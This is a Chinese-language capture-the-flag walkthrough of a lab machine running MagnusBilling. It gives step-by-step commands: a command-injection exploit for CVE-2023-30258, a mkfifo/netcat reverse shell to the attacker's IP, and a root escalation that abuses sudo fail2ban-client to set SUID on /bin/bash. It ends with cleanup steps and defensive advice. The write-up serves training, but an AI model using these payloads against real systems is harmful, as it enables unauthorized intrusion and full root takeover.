1. 信息收集
(1) Nmap 掃描
?bashnmap -T4 -sC -sV -p- 10.10.189.216
輸出關鍵信息:
?PORT ? ? STATE SERVICE VERSION22/tcp ? open ssh ? ? OpenSSH 8.4p1 Debian 5+deb11u380/tcp ? open http ? ? Apache 2.4.56 (Debian) # MagnusBilling 應用3306/tcp open mysql ? MariaDB (未授權訪問受限)5038/tcp open asterisk Asterisk Call Manager 2.10.6
分析:
-
80 端口:運行 MagnusBilling,可能存在已知漏洞。
-
5038 端口:Asterisk 服務,可能輔助提權。
2. Web 滲透(CVE-2023-30258)
(1) 訪問 Web 應用
-
瀏覽器訪問
http://10.10.189.216
,自動跳轉到http://10.10.189.216/mbilling/
。 -
查看頁面源碼,確認 MagnusBilling 版本為 7.x.x(如
README.md
文件)。
(2) 驗證命令注入漏洞
?bash# 測試 sleep 命令(響應時間應接近 5 秒)time curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php?democ=;sleep+5;"
輸出:
?real ? 0m5.189s # 確認漏洞存在
(3) 生成反向 Shell Payload
?bash# 在攻擊機開啟監聽(443 端口)nc -lvnp 443?# 注入反向 Shell 命令curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php" \--get --data-urlencode "democ=;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|sh+-i+2>%261|nc+10.10.158.208+443+>/tmp/f;"
監聽結果:
?connect to [10.10.158.208] from (UNKNOWN) [10.10.189.216] 41006sh: 0: can't access tty; job control turned off$ ? # 獲取基礎 Shell
(4) 升級交互式 Shell
?bash# 在目標機執行$ python3 -c 'import pty;pty.spawn("/bin/bash")'$ export TERM=xterm?# 在攻擊機按 Ctrl+Z 掛起會話,然后執行stty raw -echo; fg
升級后:
?asterisk@Billing:/var/www/html/mbilling/lib/icepay$ ? # 完整交互式 Shell
3. 用戶權限提升
(1) 讀取用戶 Flag
?bashcat /home/magnus/user.txt
輸出:
?thm{5a0c4d7f3b...} # 用戶 Flag
(2) 檢查 sudo 權限
?bashsudo -l
輸出:
?User asterisk may run the following commands on Billing:(ALL) NOPASSWD: /usr/bin/fail2ban-client # 關鍵權限
4. Root 權限提權(Fail2ban 濫用)
(1) 修改 Fail2ban Actionban 命令
?bash# 篡改 actionban 命令,設置 /bin/bash 的 SUID 位sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
(2) 觸發封禁以執行命令
?bash# 封禁任意 IP(如 1.2.3.4)sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
(3) 驗證 SUID 權限
?bashls -l /bin/bash
輸出:
?-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash # SUID 已生效
(4) 獲取 Root Shell
?bash/bin/bash -p ? # 使用 -p 保留 root 權限bash-5.1# iduid=1001(asterisk) gid=1001(asterisk) euid=0(root) egid=0(root) groups=0(root),1001(asterisk)
(5) 讀取 Root Flag
?bashcat /root/root.txt
輸出:
?thm{8b3d12f7a1...} # Root Flag
5. 清理痕跡
(1) 移除 /bin/bash 的 SUID 位
?bashchmod -s /bin/bash
(2) 還原 Fail2ban 配置
?bash# 恢復原始 actionban 命令sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'iptables -I f2b-ASTERISK 1 -s <ip> -j DROP'?# 解封測試 IPsudo /usr/bin/fail2ban-client set asterisk-iptables unbanip 1.2.3.4?# 重啟 Fail2bansudo systemctl restart fail2ban
關鍵步驟總結
-
漏洞利用:通過 CVE-2023-30258 注入反向 Shell。
-
權限升級:利用
sudo /usr/bin/fail2ban-client
修改配置,設置 SUID 提權。 -
防御繞過:使用高權限服務(Fail2ban)執行惡意命令。
防御建議
-
修補漏洞:升級 MagnusBilling 至最新版本。
-
限制 Sudo 權限:禁止普通用戶操作安全工具。
-
監控 SUID/SGID 文件:
-
?find / -perm /4000 -ls ?# 定期檢查異常權限文件
-
Fail2ban 加固:配置文件和動作腳本設為只讀。